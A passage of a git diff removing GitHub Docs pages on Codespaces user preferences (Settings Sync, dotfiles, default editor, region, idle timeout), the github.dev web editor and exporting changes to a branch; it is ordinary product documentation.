codespaces will be autodeleted soon - -You can check, in the {% data variables.product.prodname_vscode %} desktop application, whether a codespace is due to be automatically deleted soon. - -{% data reusables.codespaces.click-remote-explorer-icon-vscode %} -1. Choose **{% data variables.product.prodname_github_codespaces %}** from the dropdown menu at the top right of the Remote Explorer, if it is not already selected. -1. Under "GITHUB CODESPACES," position the mouse pointer over the codespace that you're interested in. A pop-up box is displayed showing you information about the codespace. - - If the codespace is nearing the end of its retention period, a line is included telling when this period is due to expire. - - ![Screenshot of the "Remote Explorer" side bar. In the right-click menu for a codespace, "Expiring in 19 days" is highlighted with an orange outline.](/assets/images/help/codespaces/vscode-deleting-in-5-days.png) - -{% endvscode %} - -## Further reading - -* [AUTOTITLE](/codespaces/customizing-your-codespace) -* [AUTOTITLE](/codespaces/managing-your-codespaces) diff --git a/content/codespaces/setting-your-user-preferences/index.md b/content/codespaces/setting-your-user-preferences/index.md deleted file mode 100644 index 9ce11c1e3efe..000000000000 --- a/content/codespaces/setting-your-user-preferences/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Setting your user preferences -intro: 'You can adjust your personal settings for {% data variables.product.prodname_github_codespaces %} so that the codespaces you create always give you the development experience that works best for you.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -children: - - /personalizing-github-codespaces-for-your-account - - /setting-your-default-editor-for-github-codespaces - - /setting-your-default-region-for-github-codespaces - - /setting-your-timeout-period-for-github-codespaces - - /configuring-automatic-deletion-of-your-codespaces - - /choosing-the-stable-or-beta-host-image ---- diff --git a/content/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account.md b/content/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account.md deleted file mode 100644 index e6574c4ce140..000000000000 --- a/content/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account.md +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Personalizing GitHub Codespaces for your account -shortTitle: Personalize your codespaces -intro: 'You can personalize {% data variables.product.prodname_github_codespaces %} by using a `dotfiles` repository on {% data variables.product.github %} or by using Settings Sync.' -redirect_from: - - /github/developing-online-with-github-codespaces/personalizing-github-codespaces-for-your-account - - /github/developing-online-with-codespaces/personalizing-codespaces-for-your-account - - /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account - - /codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account - - /codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up - - Fundamentals ---- - - -## About personalizing {% data variables.product.prodname_codespaces %} - -When using any development environment, customizing the settings and tools to your preferences and workflows is an important step. {% data variables.product.prodname_github_codespaces %} allows for two main ways of personalizing your codespaces. - -* [Settings Sync](#settings-sync) - You can synchronize your {% data variables.product.prodname_vscode %} settings between the desktop application and the {% data variables.product.prodname_vscode_shortname %} web client. -* [Dotfiles](#dotfiles) – You can use a `dotfiles` repository to specify scripts, shell preferences, and other configurations. - -{% data variables.product.prodname_github_codespaces %} personalization applies to any codespace you create. - -Project maintainers can also define a default configuration that applies to every codespace for a repository, created by anyone. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -## Settings Sync - -Settings Sync allows you to synchronize configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode_shortname %}. For more information, see [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -{% data reusables.codespaces.about-settings-sync %} - -For example, a common use of Settings Sync would be to sync your settings from your {% data variables.product.prodname_vscode_shortname %} desktop application, which you use for local work, to codespaces you open in the browser. To do this, you would need to do the following things. - -* Turn on Settings Sync in the desktop application. For more information, see [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync#_turning-on-settings-sync) in the {% data variables.product.prodname_vscode_shortname %} documentation. -* Enable Settings Sync in your user preferences for {% data variables.product.prodname_github_codespaces %}. For more information, see [Managing your preferences for Settings Sync](#managing-your-preferences-for-settings-sync). -* Optionally, if you want to sync settings changes back to your desktop application from a codespace, turn on Settings Sync in the codespace and add the repository from which you created the codespace to your list of trusted repositories. For more information, see [Turning on Settings Sync in a codespace](#turning-on-settings-sync-in-a-codespace). - -Alternatively, you may want to use the same settings across all codespaces you open in the web client, while leaving your local {% data variables.product.prodname_vscode_shortname %} application unaffected. To do this, you would need to do the following things. - -* In a codespace, configure your settings as you want them, then turn on Settings Sync in the codespace to push the settings to the cloud. When you do this, Settings Sync is enabled automatically in your user preferences for {% data variables.product.prodname_github_codespaces %}, so your settings will be pulled into all new codespaces. For more information, see [Turning on Settings Sync in a codespace](#turning-on-settings-sync-in-a-codespace). -* In the desktop application, leave Settings Sync turned off, or sync your settings to a different account. - -### About Settings Sync in codespaces - -Whether Settings Sync is turned on by default in a codespace, and the relationship between your cached settings and the settings in a codespace, depend on several factors. These factors include the editor in which you open the codespace, your user preferences on {% data variables.product.prodname_dotcom %}, and your list of trusted repositories. - -For codespaces opened in the {% data variables.product.prodname_vscode_shortname %} desktop application, Settings Sync remains on if you have previously turned on Settings Sync in the application. If Settings Sync is on, your settings are synced both to and from the cloud. - -For codespaces opened in the {% data variables.product.prodname_vscode_shortname %} web client, Settings Sync is disabled by default. This means the {% data variables.product.prodname_vscode_shortname %} instance in the codespace uses the default theme and settings. - -If you use the web client and want your codespaces to use your cached synced settings, you can enable Settings Sync in your user preferences on {% data variables.product.prodname_dotcom %}. For more information, see [Managing your preferences for Settings Sync](#managing-your-preferences-for-settings-sync). Settings Sync is enabled in your user preferences automatically if you open a codespace in the web client and turn on Settings Sync in the codespace. - -When Settings Sync is enabled in your user preferences, for codespaces opened in the web client, the behavior of Settings Sync depends on your list of trusted repositories. - -* If you create a codespace from a repository you trust, Settings Sync is turned on in the codespace by default, so your settings are synced both to and from the cloud. -* If you create a codespace from a repository you haven't added to your list of trusted repositories, the sync takes place in one direction and at one time only. When you create the codespace, your settings are pulled into the codespace from your cached settings in the cloud, but from then on, Settings Sync is turned off in the codespace. This means updates you make to your settings in the codespace are not pushed back to the cloud, and any updates you make to your cached settings from elsewhere are not reflected in the codespace after you have created it. - - If you turn on Settings Sync in a codespace, you will be prompted to add the repository to your list of trusted repositories. For more information, see [Turning on Settings Sync in a codespace](#turning-on-settings-sync-in-a-codespace). - -{% data reusables.codespaces.settings-sync-and-gpg %} - -For more information on managing your preferences for GPG verification, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces). - -### Managing your preferences for Settings Sync - -If you enable Settings Sync in your user preferences, codespaces opened in the {% data variables.product.prodname_vscode_shortname %} web client will pull in your cached settings from the cloud, and codespaces created from trusted repositories will sync with your cached settings in both directions. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. To enable or disable Settings Sync, under "Settings Sync," select or deselect **Enable**. -{% data reusables.codespaces.trusted-repos-step %} - -Your updates will take effect in new codespaces. However, you can turn on Settings Sync in an existing codespace. For more information, see [Turning on Settings Sync in a codespace](#turning-on-settings-sync-in-a-codespace). - -### Turning on Settings Sync in a codespace - -> [!NOTE] -> You should only turn on Settings Sync in codespaces created from repositories you trust. For more information, see [AUTOTITLE](/codespaces/reference/security-in-github-codespaces#using-settings-sync). - -The following procedure describes how to turn on Settings Sync in a codespace opened in the web client. For information about turning on Settings Sync in the {% data variables.product.prodname_vscode_shortname %} desktop application, see [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync#_turning-on-settings-sync) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -1. In {% data variables.product.prodname_vscode_shortname %}, at the bottom of the Activity Bar, select {% octicon "gear" aria-label="Manage" %}, then click **Sign in to Sync Settings**. -1. If the repository from which you created the codespace is not in your list of trusted repositories, a browser window will open asking you to authorize additional permissions for Settings Sync. If you trust the repository, click **Authorize**, then close the browser window. The codespace will reload and display your latest synced settings. - - > [!NOTE] - > If you have Settings Sync disabled in your user preferences, and have set your trusted repositories to all repositories, you will see a warning about enabling Settings Sync for all repositories. Review the warning and choose whether to enable Settings Sync for all repositories or revise your list of trusted repositories. - -1. To configure which settings you want to sync, open the Command Palette with <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux), then start typing "Settings Sync". Click **Settings Sync: Configure...**. -1. Select the settings you want to sync, then click **OK**. - - ![Screenshot of the "Setting Sync" options. There are seven options, each with a checkbox. The "OK" button is shown top right.](/assets/images/help/codespaces/settings-sync-config-ok.png) - -### Turning off Settings Sync in a codespace - -{% data reusables.codespaces.disabling-settings-sync %} - -## Dotfiles - -Dotfiles are files and folders on Unix-like systems starting with `.` that control the configuration of applications and shells on your system. You can store and manage your dotfiles in a repository on {% data variables.product.prodname_dotcom %}. For advice and tutorials about what to include in your dotfiles repository, see [GitHub does dotfiles](https://dotfiles.github.io/). - -Your dotfiles repository might include your shell aliases and preferences, any tools you want to install, or any other codespace personalization you want to make. - -You can configure {% data variables.product.prodname_github_codespaces %} to use dotfiles from any repository you own by selecting that repository in your [personal {% data variables.product.prodname_github_codespaces %} settings](https://github.com/settings/codespaces). - -When you create a new codespace, {% data variables.product.prodname_dotcom %} clones your selected dotfiles repository to the codespace environment, and looks for one of the following files to set up the environment. - -* `install.sh` -* `install` -* `bootstrap.sh` -* `bootstrap` -* `script/bootstrap` -* `setup.sh` -* `setup` -* `script/setup` - -If none of these files are found, then any files or folders in your selected dotfiles repository starting with `.` are symlinked to the codespace's `~` or `$HOME` directory. - -Any changes to your selected dotfiles repository will apply only to each new codespace, and do not affect any existing codespace. - -> [!NOTE] -> Currently, {% data variables.product.prodname_codespaces %} does not support personalizing the User-scoped settings for {% data variables.product.prodname_vscode_shortname %} with your `dotfiles` repository. You can set default Workspace and Remote [Codespaces] settings for a specific project in the project's repository. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#creating-a-custom-dev-container-configuration). - -### Enabling your dotfiles repository for {% data variables.product.prodname_codespaces %} - -You can use your selected dotfiles repository to personalize your {% data variables.product.prodname_github_codespaces %} environment. Once you choose your dotfiles repository, you can add your scripts, preferences, and configurations to it. You then need to enable your dotfiles from your personal {% data variables.product.prodname_github_codespaces %} settings page. - -> [!WARNING] -> Dotfiles have the ability to run arbitrary scripts, which may contain unexpected or malicious code. Before installing a dotfiles repo, we recommend checking scripts to ensure they don't perform any unexpected actions. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. Under "Dotfiles", select **Automatically install dotfiles** so that {% data variables.product.prodname_github_codespaces %} automatically installs your dotfiles into every new codespace you create. - - ![Screenshot of the "Dotfiles" section of the codespace settings, with the "Automatically install dotfiles" option cleared.](/assets/images/help/codespaces/install-custom-dotfiles.png) - -1. Use the dropdown to choose the repository you want to install dotfiles from. - - ![Screenshot of the "Automatically install dotfiles" option selected and "monalisa/dotfiles" selected from a dropdown list of repositories.](/assets/images/help/codespaces/select-dotfiles-repo.png) - -You can add further script, preferences, configuration files to your dotfiles repository or edit existing files whenever you want. Changes to settings will only be picked up by new codespaces. - -If your codespace fails to pick up configuration settings from dotfiles, see [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-personalization-for-codespaces#troubleshooting-dotfiles). - -## Other available settings - -You can also personalize {% data variables.product.prodname_github_codespaces %} using additional options in [your personal settings](https://github.com/settings/codespaces): - -* To enable GPG verification, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces). -* To set your editor, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-default-editor-for-github-codespaces). -* To set how long a codespace can remain unused before it is automatically stopped, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces). -* To set the period for which your unused codespaces are retained, see [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces). -* To set your default region, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-default-region-for-github-codespaces). - -## Further reading - -* [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository) -* [AUTOTITLE](/codespaces/about-codespaces/deep-dive#personalizing-your-codespace-with-extensions-or-plugins) -* [AUTOTITLE](/codespaces/customizing-your-codespace) -* [AUTOTITLE](/codespaces/managing-your-codespaces) diff --git a/content/codespaces/setting-your-user-preferences/setting-your-default-editor-for-github-codespaces.md b/content/codespaces/setting-your-user-preferences/setting-your-default-editor-for-github-codespaces.md deleted file mode 100644 index b834df27ba2e..000000000000 --- a/content/codespaces/setting-your-user-preferences/setting-your-default-editor-for-github-codespaces.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Setting your default editor for GitHub Codespaces -shortTitle: Set the default editor -intro: '{% data reusables.codespaces.about-changing-default-editor %}' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces - - /codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces - - /codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces -topics: - - Codespaces -type: how_to ---- - -On the settings page, you can set your editor preference so that when you create a codespace, or open an existing codespace, it is opened in your choice of: -* {% data variables.product.prodname_vscode %} (desktop application) -* {% data variables.product.prodname_vscode %} (web client application) -* JupyterLab - the web interface for Project Jupyter - -{% data reusables.codespaces.template-codespaces-default-editor %} - -If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_github_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). - -## Setting your default editor - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. Under "Editor preference", select the option you want. - - * {% data reusables.codespaces.application-installed-locally %}<br><br> - - * If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_github_codespaces %} will automatically open in the desktop application when you next create or open a codespace. - - You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.<br><br> - - * If you choose **JupyterLab**, the JupyterLab application must be installed in the codespaces you open. {% data reusables.codespaces.jupyterlab-in-default-image %} - -## Further reading - -* [AUTOTITLE](/codespaces/customizing-your-codespace) -* [AUTOTITLE](/codespaces/managing-your-codespaces) diff --git a/content/codespaces/setting-your-user-preferences/setting-your-default-region-for-github-codespaces.md b/content/codespaces/setting-your-user-preferences/setting-your-default-region-for-github-codespaces.md deleted file mode 100644 index 9b7cdf988e0b..000000000000 --- a/content/codespaces/setting-your-user-preferences/setting-your-default-region-for-github-codespaces.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Setting your default region for GitHub Codespaces -shortTitle: Set the default region -intro: 'You can set your default region in the {% data variables.product.prodname_github_codespaces %} profile settings page to personalize where your data is held.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces - - /codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces - - /codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces -topics: - - Codespaces -type: how_to ---- - -You can manually select the region that your codespaces will be created in, allowing you to meet stringent security and compliance requirements. By default, your region is set automatically, based on your location. - -## Setting your default region - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. Under "Region", select the setting you want: **Set automatically** or **Set manually**. - -1. If you chose **Set manually**, select the dropdown menu and click your region. - -## Further reading - -* [AUTOTITLE](/codespaces/customizing-your-codespace) -* [AUTOTITLE](/codespaces/managing-your-codespaces) diff --git a/content/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces.md b/content/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces.md deleted file mode 100644 index 9dfe8366f37d..000000000000 --- a/content/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Setting your timeout period for GitHub Codespaces -shortTitle: Set the timeout -intro: 'You can set your default timeout for {% data variables.product.prodname_github_codespaces %} in your personal settings page.' -redirect_from: - - /codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces - - /codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -type: how_to ---- - -## About the idle timeout - -A codespace will stop running after a period of inactivity. By default this period is 30 minutes, but you can specify a longer or shorter default timeout period in your personal settings on {% data variables.product.prodname_dotcom %}. The updated setting will apply to any new codespaces you create, or to existing codespaces the next time you start them. You can also specify a timeout when you use {% data variables.product.prodname_cli %} to create a codespace. - -> [!WARNING] -> Codespaces compute usage is billed for the duration for which a codespace is active. If you're not using a codespace but it remains running, and hasn't yet timed out, you are billed for the total time that the codespace was active, irrespective of whether you were using it. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). - -### Inactivity defined - -{% data reusables.codespaces.inactivity-definition %} - -### Timeout periods for organization-owned repositories - -Organizations can set a maximum idle timeout policy for codespaces created from some or all of their repositories. If an organization policy sets a maximum timeout which is less than the default timeout you have set, the organization's timeout will be used instead of your setting. You will be notified of this after the codespace is created. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period). - -{% webui %} - -## Setting your default timeout period - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. Under "Default idle timeout", enter the time that you want, then click **Save**. The time must be between 5 minutes and 240 minutes (4 hours). - - ![Screenshot of the "Default idle timeout" section of the {% data variables.product.prodname_codespaces %} settings, with "90 minutes" entered.](/assets/images/help/codespaces/setting-default-timeout.png) - -{% endwebui %} - -{% cli %} - -## Setting the timeout period for a codespace - -{% data reusables.cli.cli-learn-more %} - -To set the timeout period when you create a codespace, use the `idle-timeout` argument with the `codespace create` subcommand. Specify the time in minutes, followed by `m`. The time must be between 5 minutes and 240 minutes (4 hours). - -```shell -gh codespace create --idle-timeout 90m -``` - -If you don't specify a timeout period when you create a codespace, then the default timeout period will be used. For information about setting a default timeout period, click the "Web browser" tab on this page. You can't currently specify a default timeout period through {% data variables.product.prodname_cli %}. - -{% endcli %} - -{% vscode %} - -## Setting a timeout period - -You can set your default timeout period in your web browser, on {% data variables.product.github %}. Alternatively, if you use {% data variables.product.prodname_cli %} to create a codespace you can set a timeout period for that particular codespace. For more information, click the appropriate tab above. - -{% endvscode %} - -## Further reading - -* [AUTOTITLE](/codespaces/customizing-your-codespace) -* [AUTOTITLE](/codespaces/managing-your-codespaces) diff --git a/content/codespaces/the-githubdev-web-based-editor.md b/content/codespaces/the-githubdev-web-based-editor.md deleted file mode 100644 index 1017646e4417..000000000000 --- a/content/codespaces/the-githubdev-web-based-editor.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: The github.dev web-based editor -shortTitle: github.dev editor -intro: 'You can use the {% data variables.codespaces.serverless %} web-based editor to edit files and commit your changes.' -versions: - feature: githubdev-editor -type: how_to -topics: - - Codespaces - - Visual Studio Code - - Developer -redirect_from: - - /codespaces/developing-in-codespaces/web-based-editor ---- - ->[!NOTE] The {% data variables.codespaces.serverless %} editor is currently in {% data variables.release-phases.public_preview %}. You can provide feedback [in our Discussions](https://github.com/community/community/discussions/categories/codespaces).{% ifversion ghec %} Additionally, the {% data variables.codespaces.serverless %} editor is not available on subdomains of {% data variables.enterprise.data_residency_site %}, such as `octocorp.ghe.com`.{% endif %} - -## About the {% data variables.codespaces.serverless %} editor - -The {% data variables.codespaces.serverless %} editor introduces a lightweight editing experience that runs entirely in your browser. With the {% data variables.codespaces.serverless %} editor, you can navigate files and source code repositories from {% data variables.product.prodname_dotcom %}, and make and commit code changes. You can open any repository, fork, or pull request in the editor. - -The {% data variables.codespaces.serverless %} editor is available to everyone for free on {% data variables.product.prodname_dotcom_the_website %}. - -The {% data variables.codespaces.serverless %} editor provides many of the benefits of {% data variables.product.prodname_vscode %}, such as search, syntax highlighting, and a source control view. You can also use Settings Sync to share your own {% data variables.product.prodname_vscode_shortname %} settings with the editor. See [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -The {% data variables.codespaces.serverless %} editor runs entirely in your browser’s sandbox. The editor doesn’t clone the repository, but instead uses the [GitHub Repositories extension](https://code.visualstudio.com/docs/editor/github#_github-repositories-extension) to carry out most of the functionality that you will use. Your work is saved in the browser’s local storage until you commit it. You should commit your changes regularly to ensure that they're always accessible. - -You must be signed in to {% data variables.product.github %} to use the {% data variables.codespaces.serverless %} editor. - -## Opening the {% data variables.codespaces.serverless %} editor - -You can open any {% data variables.product.prodname_dotcom %} repository in {% data variables.codespaces.serverless %} in either of the following ways: - -* To open the repository in the same browser tab, press <kbd>.</kbd> while browsing any repository or pull request on {% data variables.product.prodname_dotcom %}. - - To open the repository in a new browser tab, press <kbd>></kbd>. - -* Change the URL from "github.com" to "github.dev". -* When viewing a file, select the {% octicon "triangle-down" aria-label="More edit options" %} dropdown menu and click **github.dev**. - - ![Screenshot of the dropdown menu for the edit icon. The option "github.dev" is highlighted with a dark orange outline.](/assets/images/help/codespaces/github-dev-dropdown-option.png) - -## {% data variables.product.prodname_codespaces %} and {% data variables.codespaces.serverless %} - -Both {% data variables.codespaces.serverless %} and {% data variables.product.prodname_github_codespaces %} allow you to edit your code straight from your repository. However, both have slightly different benefits, depending on your use case. - -{% rowheaders %} - -|| {% data variables.codespaces.serverless %} | {% data variables.product.prodname_github_codespaces %}| -|-|----------------|---------| -| **Cost** | Free. | Free monthly quota of usage for personal accounts. For information on pricing, see [AUTOTITLE](/free-pro-team@latest/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-github-codespaces-pricing).| -| **Availability** | Available to everyone on GitHub.com. | Available to everyone on GitHub.com. | -| **Start up** | {% data variables.codespaces.serverless %} opens instantly with a key-press and you can start using it right away, without having to wait for additional configuration or installation. | When you create or resume a codespace, the codespace is assigned a VM and the container is configured based on the contents of a `devcontainer.json` file. This set up may take a few minutes to create the environment. See [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository). | -| **Compute** | There is no associated compute, so you won’t be able to build and run your code or use the integrated terminal. | With {% data variables.product.prodname_github_codespaces %}, you get the power of a dedicated VM on which you can run and debug your application.| -| **Terminal access** | None. | {% data variables.product.prodname_github_codespaces %} provides a common set of tools by default, meaning that you can use the Terminal exactly as you would in your local environment.| -| **Extensions** | Only a subset of extensions that can run in the web will appear in the Extensions View and can be installed. See [Using extensions](#using-extensions).| With {% data variables.product.prodname_github_codespaces %}, you can use most extensions from the {% data variables.product.prodname_vscode_marketplace %}.| - -{% endrowheaders %} - -### Continue working on {% data variables.product.prodname_codespaces %} - -You can start your workflow in {% data variables.codespaces.serverless %} and continue working on a codespace. If you try to access the Run and Debug View or the Terminal, you'll be notified that they are not available in {% data variables.codespaces.serverless %}. - -To continue your work in a codespace, click **Continue Working on…** and select **Create New Codespace** to create a codespace on your current branch. Before you choose this option, you must commit any changes. - -<img src="/assets/images/help/codespaces/codespaces-continue-working.png" width="400rem" alt='Screenshot of the "Run and Debug" side bar with a message saying that this feature is not available, and a "Continue Working On" button.' /> - -## Using source control - -When you use {% data variables.codespaces.serverless %}, all actions are managed through the "Source Control" view, which is located in the Activity Bar on the left hand side. For more information on the "Source Control" view, see [Version Control](https://code.visualstudio.com/docs/editor/versioncontrol) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -Because {% data variables.codespaces.serverless %} uses the GitHub Repositories extension to power its functionality, you can switch branches without needing to stash changes. See [GitHub Repositories](https://code.visualstudio.com/docs/editor/github#_github-repositories-extension) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -### Create a new branch - -{% data reusables.codespaces.create-or-switch-branch %} - Any uncommitted changes you have made in your old branch will be available on your new branch. - -### Commit your changes - -1. In the Activity Bar, click the **Source Control** view. - - ![Screenshot of the {% data variables.product.prodname_vscode_shortname %} Activity Bar with the source control button, labeled with a branch icon, highlighted with an orange outline.](/assets/images/help/codespaces/githubdotdev-source-control-activity-bar-button.png) - -1. To stage your changes, click {% octicon "plus" aria-label="Stage changes" %} next to the file you've changed, or next to **Changes** if you've changed multiple files and you want to stage them all. - - ![Screenshot of the "Source control" side bar with the staging button (a plus sign), to the right of "Changes," highlighted with a dark orange outline.](/assets/images/help/codespaces/githubdotdev-codespaces-commit-stage.png) - -1. In the text box, type a commit message describing the change you've made. - - ![Screenshot of the "Source control" side bar with a commit message entered into the text box above the "Commit" button.](/assets/images/help/codespaces/githubdotdev-codespaces-commit-message.png) - -1. Click **Commit & Push**. - - Your changes are automatically be pushed to your branch on {% data variables.product.prodname_dotcom %}. - -### Create a pull request - -{% data reusables.codespaces.source-control-pull-request %} - -### Working with an existing pull request - -You can use {% data variables.codespaces.serverless %} to work with an existing pull request. - -1. Browse to the pull request you'd like to open in {% data variables.codespaces.serverless %}. -1. Press `.` to open the pull request in {% data variables.codespaces.serverless %}. -1. Once you have made any changes, commit them using the steps in [Commit your changes](#commit-your-changes). Your changes will be committed directly to the branch, it's not necessary to push the changes. - -## Using extensions - -The {% data variables.codespaces.serverless %} editor supports {% data variables.product.prodname_vscode_shortname %} extensions that have been specifically created or updated to run in the web. These extensions are known as "web extensions". To learn how you can create a web extension or update your existing extension to work for the web, see [Web extensions](https://code.visualstudio.com/api/extension-guides/web-extensions) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -Extensions that can run in {% data variables.codespaces.serverless %} will appear in the Extensions View and can be installed. If you use Settings Sync, any compatible extensions are also installed automatically. For information, see [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -## Using {% data variables.codespaces.serverless %} behind a firewall - -If you are working behind a firewall you will need to add the following URLs to your firewall's allow list. - -| URL | Use | -| --- | --- | -| `https://*.vscode-cdn.net` | {% data variables.codespaces.serverless %} runs entirely in the browser. To do so it needs to download {% data variables.product.prodname_vscode_shortname %} assets from endpoints at this URL. | -| `https://update.code.visualstudio.com` | {% data variables.codespaces.serverless %} runs entirely in the browser. To do so it needs to download {% data variables.product.prodname_vscode_shortname %} assets from endpoints at this URL. | -| `https://api.github.com` | Used to retrieve source files from {% data variables.product.prodname_dotcom %} | -| `https://vscode-sync-insiders.trafficmanager.net` | _Optional._ To allow settings to be synchronized via Settings Sync. | - -Every extension installed in {% data variables.codespaces.serverless %} is run under an independent web worker. This adds a layer of security between multiple extensions running in the same browser. As a result, request URLs coming from extensions are similar to this: `https://v--151hfiju3s93ktt2rqh65902gukb27osot905m4g52k40kaea3h6.vscode-cdn.net`. - -Data is retrieved from the repository at runtime using the [GitHub Repositories](https://marketplace.visualstudio.com/items?itemName=GitHub.remotehub) extension. This data is not stored on the local computer between {% data variables.codespaces.serverless %} sessions, with the exception of the browser storage of unsaved files and currently displayed files (to allow for page reloads). The only non-repository data that's stored locally between sessions are some user settings and the credentials sent by {% data variables.product.prodname_dotcom %}'s authentication flow. - -## Troubleshooting - -If you have issues opening {% data variables.codespaces.serverless %}, try the following: - -* Make sure you are signed in to {% data variables.product.prodname_dotcom %}. -* Disable any ad blockers. -* Use a non-incognito window in your browser to open {% data variables.codespaces.serverless %}. - -### Known limitations - -* The {% data variables.codespaces.serverless %} editor is currently supported in Chrome (and various other Chromium-based browsers), Edge, Firefox, and Safari. We recommend that you use the latest versions of these browsers. -* Some keybindings may not work, depending on the browser you are using. These keybinding limitations are documented in the [Known limitations and adaptations](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations) section of the {% data variables.product.prodname_vscode_shortname %} documentation. -* `.` may not work to open {% data variables.codespaces.serverless %} according to your local keyboard layout. In that case, you can open any {% data variables.product.prodname_dotcom %} repository in {% data variables.codespaces.serverless %} by changing the URL from `github.com` to `github.dev`. -* When intensively writing documentation or code in the web editor, you might encounter issues with pushing some commits. To resolve this, wait a few minutes for the API rate limit to reset. diff --git a/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md b/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md deleted file mode 100644 index 9118e316a899..000000000000 --- a/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Exporting changes to a branch -intro: This article provides steps for exporting your codespace changes to a branch. -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces -shortTitle: Exporting changes ---- - -## About exporting changes - -While using {% data variables.product.prodname_github_codespaces %}, you may want to export your changes to a branch without launching your codespace. This can be useful when you have hit a [spending limit](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces) or have a general issue accessing your codespace. - -You can export your changes in one of several ways, depending on how you created the codespace. In every case, only the Git branch that is currently checked out in the codespace is exported. Work contained in other branches is not exported. - -* If you created the codespace from a repository to which you have write access, you can export your changes to a new branch of the repository. -* If you created the codespace from a repository to which you only have read access, you can export your changes to a fork of the repository. {% data variables.product.prodname_github_codespaces %} will create a new fork for you, or link your codespace to an existing fork if you already have one for the repository, and export your changes to a new branch of the fork. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace#about-automatic-forking). -* If you created the codespace from a template, and have not yet published it, you can publish the codespace to a new repository. 